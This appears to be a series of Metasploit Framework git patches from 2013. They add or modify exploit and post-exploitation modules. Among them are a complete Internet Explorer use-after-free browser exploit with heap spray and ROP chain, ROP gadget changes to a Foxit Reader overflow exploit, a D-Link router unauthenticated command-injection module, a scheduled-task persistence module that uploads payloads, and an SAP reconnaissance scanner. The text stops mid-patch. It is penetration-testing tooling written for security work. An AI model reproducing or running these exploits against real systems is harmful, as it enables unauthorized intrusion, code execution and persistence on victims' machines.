3a6cd6f395bb62b9c5d6f3a4b9da4e214de75b91 Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Tue, 12 Feb 2013 14:42:59 +0100 Subject: [PATCH 076/341] Added module for requesting RFC_SYSTEM_INFO via ICF web interface --- .../scanner/sap/sap_icf_rfc_system_info.rb | 290 ++++++++++++++++++ 1 file changed, 290 insertions(+) create mode 100644 modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb diff --git a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb new file mode 100644 index 0000000000..dd47aaa5c7 --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb @@ -0,0 +1,290 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +## +# This module is based on, inspired by, or is a port of a plugin available in +# the Onapsis Bizploit Opensource ERP Penetration Testing framework - +# http://www.onapsis.com/research-free-solutions.php. +# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts +# in producing the Metasploit modules and was happy to share his knowledge and +# experience - a very cool guy. I'd also like to thank Chris John Riley, +# Ian de Villiers and Joris van de Vis who have Beta tested the modules and +# provided excellent feedback. Some people just seem to enjoy hacking SAP :) +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP /sap/public/info RFC_SYSTEM_INFO Function Sensitive Information Gathering', + 'Description' => %q{ + This module uses the RFC_SYSTEM_INFO function within SAP Internet Communication + Framework (ICF) to obtain the operating system version, SAP version, IP address + and other information through /sap/public/info + + }, + 'Author' => + [ + # original sap_soap_rfc_system_info module + 'Agnivesh Sathasivam', + 'nmonkee', + # repurposed for /sap/public/info (non-RFC) + 'ChrisJohnRiley' + ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('PATH', [true, 'Path to SAP Application Server', '/']) + ], self.class) + end + + def run_host(ip) + + print_status("[SAP] #{ip}:#{rport} - Sending RFC_SYSTEM_INFO request to SAP Application Server") + uri = normalize_uri(datastore['PATH'] + '/sap/public/info') + begin + res = send_request_raw({ 'uri' => uri }, 20) + if res and res.code != 200 + print_error("[SAP] #{ip}:#{rport} - Server did not respond as expected") + return + end + rescue ::Rex::ConnectionError + print_error("[SAP] #{ip}:#{rport} - Unable to connect") + return + end + + print_status("[SAP] #{ip}:#{rport} - Response received") + + saptbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "[SAP] ICF RFC_SYSTEM_INFO", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' =>[ + "Key", + "Value" + ]) + response = res.body + rfcproto = $1 if response =~ /(.*)<\/RFCPROTO>/i + rfcchartyp = $1 if response =~ /(.*)<\/RFCCHARTYP>/i + rfcinttyp = $1 if response =~ /(.*)<\/RFCINTTYP>/i + rfcflotyp = $1 if response =~ /(.*)<\/RFCFLOTYP>/i + rfcdest = $1 if response =~ /(.*)<\/RFCDEST>/i + rfchost = $1 if response =~ /(.*)<\/RFCHOST>/i + rfcsysid = $1 if response =~ /(.*)<\/RFCSYSID>/i + rfcdbhost = $1 if response =~ /(.*)<\/RFCDBHOST>/i + rfcdbsys = $1 if response =~ /(.*)<\/RFCDBSYS>/i + rfcsaprl = $1 if response =~ /(.*)<\/RFCSAPRL>/i + rfcmach = $1 if response =~ /(.*)<\/RFCMACH>/i + rfcopsys = $1 if response =~ /(.*)<\/RFCOPSYS>/i + rfctzone = $1 if response =~ /(.*)<\/RFCTZONE>/i + rfcdayst = $1 if response =~ /(.*)<\/RFCDAYST>/i + rfcipaddr = $1 if response =~ /(.*)<\/RFCIPADDR>/i + rfckernrl = $1 if response =~ /(.*)<\/RFCKERNRL>/i + rfcipv6addr = $1 if response =~ /(.*)<\/RFCIPV6ADDR>/i + + saptbl << [ "Release Status of SAP System", rfcsaprl ] + saptbl << [ "RFC Log Version", rfcproto ] + saptbl << [ "Kernel Release", rfckernrl ] + saptbl << [ "Operating System", rfcopsys ] + saptbl << [ "Database Host", rfcdbhost] + saptbl << [ "Central Database System", rfcdbsys ] + + if rfcinttyp == 'LIT' + saptbl << [ "Integer Format", "Little Endian" ] + else + saptbl << [ "Integer Format", "Big Endian" ] + end + saptbl << [ "Hostname", rfchost ] + + if rfcflotyp == 'IE3' + saptbl << [ "Float Type Format", "IEEE" ] + else + saptbl << [ "Float Type Format", "IBM/370" ] + end + + saptbl << [ "IPv4 Address", rfcipaddr ] + saptbl << [ "IPv6 Address", rfcipv6addr ] + saptbl << [ "System ID", rfcsysid ] + saptbl << [ "RFC Destination", rfcdest ] + saptbl << [ "Timezone", "#{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" ] + saptbl << [ "Character Set", rfcchartyp ] + saptbl << [ "Daylight Saving Time", rfcdayst ] + saptbl << [ "Machine ID", rfcmach.gsub(/\s+/, "")] + # output table + print(saptbl.to_s) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :sname => 'sap', + :type => 'sap.version.release', + :data => "Release Status of SAP System: #{rfcsaprl}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :sname => 'sap', + :type => 'sap.version.rfc_log', + :data => "RFC Log Version: #{rfcproto}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :sname => 'sap', + :type => 'sap.version.kernel', + :data => "Kernel Release: #{rfckernrl}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :sname => 'sap', + :type => 'system.os', + :data => "Operating System: #{rfcopsys}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'sap.db.hostname', + :data => "Database Host: #{rfcdbhost}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'sap.db_system', + :data => "Central Database System: #{rfcdbsys}" + ) + + if rfcinttyp == 'LIT' + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.endianness', + :data => "Integer Format: Little Endian" + ) + else + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.endianness', + :data => "Integer Format: Big Endian" + ) + end + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.hostname', + :data => "Hostname: #{rfchost}" + ) + + if rfcflotyp == 'IE3' + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.float_type', + :data => "Float Type Format: IEEE" + ) + else + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.float_type', + :data => "Float Type Format: IBM/370" + ) + end + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.ip.v4', + :data => "IPv4 Address: #{rfcipaddr}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.ip.v6', + :data => "IPv6 Address: #{rfcipv6addr}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'sap.instance', + :data => "System ID: #{rfcsysid}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'sap.rfc.destination', + :data => "RFC Destination: #{rfcdest}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.timezone', + :data => "Timezone: #{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.charset', + :data => "Character Set: #{rfcchartyp}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'sap.daylight_saving_time', + :data => "Daylight Saving Time: #{rfcdayst}" + ) + + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'sap.machine_id', + :data => "Machine ID: #{rfcmach.gsub(/\s+/, "")}" + ) + end +end \ No newline at end of file From d1784babea24a15dd6d875e0eb45c4b4020065a1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 13 Feb 2013 20:24:49 +0100 Subject: [PATCH 077/341] little cleanup plus msftidy compliant --- .../http/dlink_dir_300_600_exec_noauth.rb | 35 ++++++++++--------- 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb index 2c0da88e4f..87d1f45192 100644 --- a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb +++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb @@ -15,20 +15,22 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution', 'Description' => %q{ - Some D-Link Routers like the DIR-600 rev B and the DIR-300 rev B are - vulnerable to OS Command injection. - You do not need credentials to the webinterface because the command.php - is accesseble without authentication. You could read the plaintext password - file. Tested versions: DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below. - Hint: To get a remote shell you could start the telnetd without any authentication. + This module exploits an OS Command Injection vulnerability in some D-Link + Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in + command.php, which is accessible without authentication. This module has been + tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below. + In order to get a remote shell the telnetd could be started without any + authentication. }, 'Author' => [ 'm-1-k-3' ], 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://www.dlink.de/cs/Satellite?c=Product_C&childpagename=DLinkEurope-DE%2FDLTechProduct&cid=1197381489628&p=1197318958220&packedargs=QuickLinksParentID%3D1197318958220%26locale%3D1195806663795&pagename=DLinkEurope-DE%2FDLWrapper' ], + [ 'OSVDB', '89861' ], + [ 'EDB', '24453' ], + [ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ], [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 04 2013')) @@ -52,23 +54,22 @@ class Metasploit3 < Msf::Auxiliary { 'uri' => uri, 'method' => 'POST', - 'data' => data_cmd, + 'data' => data_cmd }) - return :abort if res.nil? - return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/) - return :abort if (res.code == 404) - + return if res.nil? + return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/) + return if res.code == 404 rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return end - - if res.body.include? "end" - print_status("#{rhost}:#{rport} - Exploited successfully\n") + + if res.body.include?("end") + print_good("#{rhost}:#{rport} - Exploited successfully\n") print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") print_line("#{rhost}:#{rport} - Output: #{res.body}") else - print_status("#{rhost}:#{rport} - Exploit failed.") + print_error("#{rhost}:#{rport} - Exploit failed.") end end end From ff13a9fb1fd122b9f698ad89f59b1b917a96cb24 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 13 Feb 2013 14:03:10 -0600 Subject: [PATCH 078/341] Randomize some gadgets --- .../browser/foxit_reader_plugin_url_bof.rb | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index 7e5d6353a3..f7ece6273a 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -92,6 +92,10 @@ class Metasploit3 < Msf::Exploit::Remote return nil end + def junk + return rand_text_alpha(4).unpack("L")[0].to_i + end + # Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module) def win7_rop_chain @@ -103,18 +107,18 @@ class Metasploit3 < Msf::Exploit::Remote 0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll] 0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll] 0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll] - 0x41414141, # Filler (RETN offset compensation) + junk, # Filler (RETN offset compensation) 0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll] 0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll] 0x00001000, # 0x00001000-> edx 0x1000d9ec, # XOR EDX, EDX # RETN 0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll] - 0x41414141, # Filler (compensate) + jun, # Filler (compensate) 0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll] - 0x41414141, # Filler (RETN offset compensation) - 0x41414141, # Filler (RETN offset compensation) - 0x41414141, # Filler (RETN offset compensation) - 0x41414141, # Filler (RETN offset compensation) + junk, # Filler (RETN offset compensation) + junk, # Filler (RETN offset compensation) + junk, # Filler (RETN offset compensation) + junk, # Filler (RETN offset compensation) 0x00000040, # 0x00000040-> ecx 0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll] 0x00000001, # 0x00000001-> ebx From aea76a56de82d51e0f3a3e9dd1a19c588260a963 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 13 Feb 2013 14:39:19 -0600 Subject: [PATCH 079/341] Add some docs to FtpServer --- lib/msf/core/exploit/ftpserver.rb | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/lib/msf/core/exploit/ftpserver.rb b/lib/msf/core/exploit/ftpserver.rb index 48517b3862..dadbb31dcd 100644 --- a/lib/msf/core/exploit/ftpserver.rb +++ b/lib/msf/core/exploit/ftpserver.rb @@ -26,11 +26,13 @@ module Exploit::Remote::FtpServer ], Msf::Exploit::Remote::FtpServer) end + # (see Msf::Exploit#setup) def setup super @state = {} end + # (see TcpServer#on_client_connect) def on_client_connect(c) @state[c] = { :name => "#{c.peerhost}:#{c.peerport}", @@ -46,6 +48,25 @@ module Exploit::Remote::FtpServer c.put "220 FTP Server Ready\r\n" end + # Dispatches client requests to command handlers. + # + # Handlers should be named +on_client_command_*+, ending with a + # downcased FTP verb, e.g. +on_client_command_user+. If no handler + # exists for the given command, returns a generic default response. + # + # @example Handle SYST requests + # class Metasploit4 < Msf::Exploit + # include Msf::Exploit::Remote::FtpServer + # ... + # def on_client_command_syst(cmd_conn, arg) + # print_status("Responding to SYST request") + # buf = build_exploit_buffer(cmd_conn) + # cmd_conn.put("215 Unix Type: #{buf}\r\n") + # end + # end + # + # @param (see TcpServer#on_client_data) + # @return (see TcpServer#on_client_data) def on_client_data(c) data = c.get_once return if not data @@ -184,6 +205,15 @@ module Exploit::Remote::FtpServer end + # Create a socket for the protocol data, either PASV or PORT, + # depending on the client. + # + # @see http://tools.ietf.org/html/rfc3659 RFC 3659 + # @see http://tools.ietf.org/html/rfc959 RFC 959 + # @param c [Socket] Control connection socket + # + # @return [Socket] A connected socket for the data connection + # @return [nil] on failure def establish_data_connection(c) begin Timeout.timeout(20) do From bbf8fe0213ed884e0745b748029182313d9149cb Mon Sep 17 00:00:00 2001 From: smilingraccoon Date: Wed, 13 Feb 2013 18:10:05 -0500 Subject: [PATCH 080/341] Use Post::File methods and fail_with --- .../exploits/windows/local/s4u_persistence.rb | 72 +++++++------------ 1 file changed, 26 insertions(+), 46 deletions(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 0d5189064a..9f00f8d528 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Local 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], + 'DisclosureDate' => [ 'Jan 2 2013' ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'], @@ -66,15 +67,13 @@ class Metasploit3 < Msf::Exploit::Local def exploit if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/) - print_error("This module only works on Vista/2008 and above") - return + fail_with(Exploit::Failure::NoTarget, "This module only works on Vista/2008 and above") end if datastore['TRIGGER'] == "event" if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil? - print_error("Advanced options EVENT_LOG and EVENT_ID required for event") print_status("The properties of any event in the event viewer will contain this information") - return + fail_with(Exploit::Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event") end end @@ -88,8 +87,7 @@ class Metasploit3 < Msf::Exploit::Local xml_path,rexe_path = generate_path(rexename) # Upload REXE to victim fs - upload_response = upload_rexe(rexe_path, payload) - return if not upload_response + upload_rexe(rexe_path, payload) # Create basic XML outline xml = create_xml(rexe_path) @@ -98,16 +96,13 @@ class Metasploit3 < Msf::Exploit::Local xml = add_xml_triggers(xml) # Write XML to victim fs, if fail clean up - if not write_xml(xml, xml_path) - delete_file(rexe_path) - return - end + write_xml(xml, xml_path, rexe_path) # Name task with Opt or give random name schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) # Create task with modified XML - task = create_task(xml_path, schname, rexe_path) + create_task(xml_path, schname, rexe_path) end ############################################################## @@ -115,16 +110,11 @@ class Metasploit3 < Msf::Exploit::Local # Returns name def generate_rexename - if datastore['REXENAME'].nil? - rexename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - return rexename - elsif datastore['REXENAME'] =~ /\.exe$/ - rexename = datastore['REXENAME'] - return rexename - else + rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + if not rexename =~ /\.exe$/ print_warning("#{datastore['REXENAME']} isn't an exe") - return rexename end + return rexename end ############################################################## @@ -133,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Local def generate_path(rexename) # generate a path to write payload and xml - path = datastore['PATH'] || session.fs.file.expand_path("%TEMP%") + path = datastore['PATH'] || expand_path("%TEMP%") xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml" rexe_path = "#{path}\\#{rexename}" return xml_path,rexe_path @@ -146,19 +136,15 @@ class Metasploit3 < Msf::Exploit::Local def upload_rexe(path, payload) vprint_status("Uploading #{path}") if file? path - print_error("File #{path} already exists...exiting") - return false + fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting") end begin - fd = client.fs.file.new(path, "wb") - fd.write(payload) - fd.close - rescue - print_error("Could not upload to #{path}") - return false + write_file(path, payload) + rescue => e + puts e + fail_with(Exploit::Failure::Unknown, "Could not upload to #{path}") end print_status("Successfully uploaded remote executable to #{path}") - return true end ############################################################## @@ -317,21 +303,18 @@ class Metasploit3 < Msf::Exploit::Local # Takes the XML and a path and writes file to filesystem # Returns boolean for success - def write_xml(xml, path) + def write_xml(xml, path, rexe_path) + if file? path + delete_file(rexe_path) + fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting") + end begin - if file? path - print_error("File #{path} already exists...exiting") - return false - end - fd = session.fs.file.new(path, "wb") - fd.write(xml) - fd.close + write_file(path, xml) rescue - print_error("Issues writing XML to #{path}") - return false + delete_file(rexe_path) + fail_with(Exploit::Failure::Unknown, "Issues writing XML to #{path}") end print_status("Successfully wrote XML file to #{path}") - return true end ############################################################## @@ -340,12 +323,10 @@ class Metasploit3 < Msf::Exploit::Local def delete_file(path) begin - session.fs.file.rm(path) + file_rm(path) rescue print_warning("Could not delete file #{path}, delete manually") - return false end - return true end ############################################################## @@ -381,14 +362,13 @@ class Metasploit3 < Msf::Exploit::Local :delete_commands => del_task } ) - return true elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ print_error("The scheduled task name is already in use") # Clean up delete_file(rexe_path) delete_file(path) else - print_error("Issues creating task using XML file schtasks") + error = "Issues creating task using XML file schtasks" vprint_error("Error: #{create_task_response}") if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event" print_warning("Security log can restricted by UAC, try a different trigger") @@ -396,7 +376,7 @@ class Metasploit3 < Msf::Exploit::Local # Clean up delete_file(rexe_path) delete_file(path) - return false + fail_with(Exploit::Failure::Unknown, error) end end end \ No newline at end of file From e78cbdd14d40c544c20170888af5bb0ddb039f8d Mon Sep 17 00:00:00 2001 From: smilingraccoon Date: Wed, 13 Feb 2013 18:17:38 -0500 Subject: [PATCH 081/341] missed one line --- modules/exploits/windows/local/s4u_persistence.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 9f00f8d528..5556acfbdb 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -363,10 +363,11 @@ class Metasploit3 < Msf::Exploit::Local } ) elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ - print_error("The scheduled task name is already in use") # Clean up delete_file(rexe_path) delete_file(path) + error = "The scheduled task name is already in use" + fail_with(Exploit::Failure::Unknown, error) else error = "Issues creating task using XML file schtasks" vprint_error("Error: #{create_task_response}") From 7b2c1afadb99a73f8f9ab3e55b96550e892b7494 Mon Sep 17 00:00:00 2001 From: Thomas McCarthy Date: Thu, 14 Feb 2013 09:16:47 -0500 Subject: [PATCH 082/341] I'm an idiot, fix logon xpath --- modules/exploits/windows/local/s4u_persistence.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 5556acfbdb..1d5d2cc0bb 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -193,7 +193,7 @@ class Metasploit3 < Msf::Exploit::Local when 'logon' # Trigger based on winlogon event, checks windows license key after logon print_status("This trigger triggers on event 4101 which validates the Windows license") - line = "(EventID=4101) and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]" + line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]" xml = create_trigger_event_tags("Application", line, xml) when 'lock' @@ -380,4 +380,4 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Exploit::Failure::Unknown, error) end end -end \ No newline at end of file +end From 947aa24d447b92a73f8f734c9a941892abc7aba5 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Thu, 14 Feb 2013 11:18:19 -0600 Subject: [PATCH 083/341] MS13-009 / CVE-2013-0025 ie_slayout_uaf.rb by Scott Bell --- .../windows/browser/ie_slayoutrun_uaf.rb | 238 ++++++++++++++++++ 1 file changed, 238 insertions(+) create mode 100644 modules/exploits/windows/browser/ie_slayoutrun_uaf.rb diff --git a/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb new file mode 100644 index 0000000000..00e4e61d04 --- /dev/null +++ b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb @@ -0,0 +1,238 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + + def initialize(info={}) + super(update_info(info, + 'Name' => "Microsoft Internet Explorer SLayoutRun Use-After-Free", + 'Description' => %q{ + This module exploits a use-after-free vulnerability in Microsoft Internet Explorer + where a CParaElement node is released but a reference is still kept + in CDoc. This memory is reused when a CDoc relayout is performed. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Scott Bell ', # Vulnerability discovery & Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-0025' ], + [ 'MSB', 'MS13-009' ], + [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ], + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'Space' => 1024, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 13 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + print_status("Target selected as: #{t.name}") + return t + end + end + + return nil + end + + def heap_spray(my_target, p) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + + js = %Q| + + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{my_target['Offset']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + heap_obj.gc(); + for (var i=1; i < 0x300; i++) { + heap_obj.alloc(block); + } + var overflow = nops.substring(0, 10); + + | + + js = heaplib(js, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + + end + + return js + end + + def get_payload(t, cli) + code = payload.encoded + + # No rop. Just return the payload. + return code if t['Rop'].nil? + + # ROP chain generated by mona.py - See corelan.be + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + rop_nops = [0x77c39f92].pack("V") * 11 # RETN + rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'}) + rop_payload << rop_nops + rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN + rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN + rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN + rop_payload << [0x77c39f92].pack("V") # RETN + rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset + rop_payload << code + + end + + return rop_payload + end + + def this_resource + r = get_resource + return ( r == '/') ? '' : r + end + + def get_exploit(my_target, cli) + p = get_payload(my_target, cli) + js = heap_spray(my_target, p) + + + html = %Q| + + + + + + +

+ + + | + + return html + end + + + def get_iframe + html = %Q| + + + + + + | + + return html + end + + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + my_target = get_target(agent) + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + if uri =~ /#{@iframe_name}/ + html = get_exploit(my_target, cli) + html = html.gsub(/^\t\t/, '') + print_status("Sending HTML...") + elsif uri=~ /\/$/ + html = get_iframe + print_status "Sending IFRAME..." + end + send_response(cli, html, {'Content-Type'=>'text/html'}) + + + end + + def exploit + @iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html" + super + end +end From 4c90cacffe493e951902fec38770ac382e428ba8 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Thu, 14 Feb 2013 11:23:08 -0600 Subject: [PATCH 084/341] Send iframe when URIPATH isnt '/' --- modules/exploits/windows/browser/ie_slayoutrun_uaf.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb index 00e4e61d04..125c9d3ae3 100644 --- a/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb @@ -222,7 +222,7 @@ class Metasploit3 < Msf::Exploit::Remote html = get_exploit(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") - elsif uri=~ /\/$/ + else html = get_iframe print_status "Sending IFRAME..." end From ade2c9ef56d5185d6e3e01175f9f5a9f238b351a Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Thu, 14 Feb 2013 11:42:02 -0600 Subject: [PATCH 085/341] msftidy - fix line endings. --- .../windows/browser/ie_slayoutrun_uaf.rb | 476 +++++++++--------- 1 file changed, 238 insertions(+), 238 deletions(-) diff --git a/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb index 125c9d3ae3..a0f8e93dcb 100644 --- a/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb @@ -1,238 +1,238 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -require 'msf/core' - -class Metasploit3 < 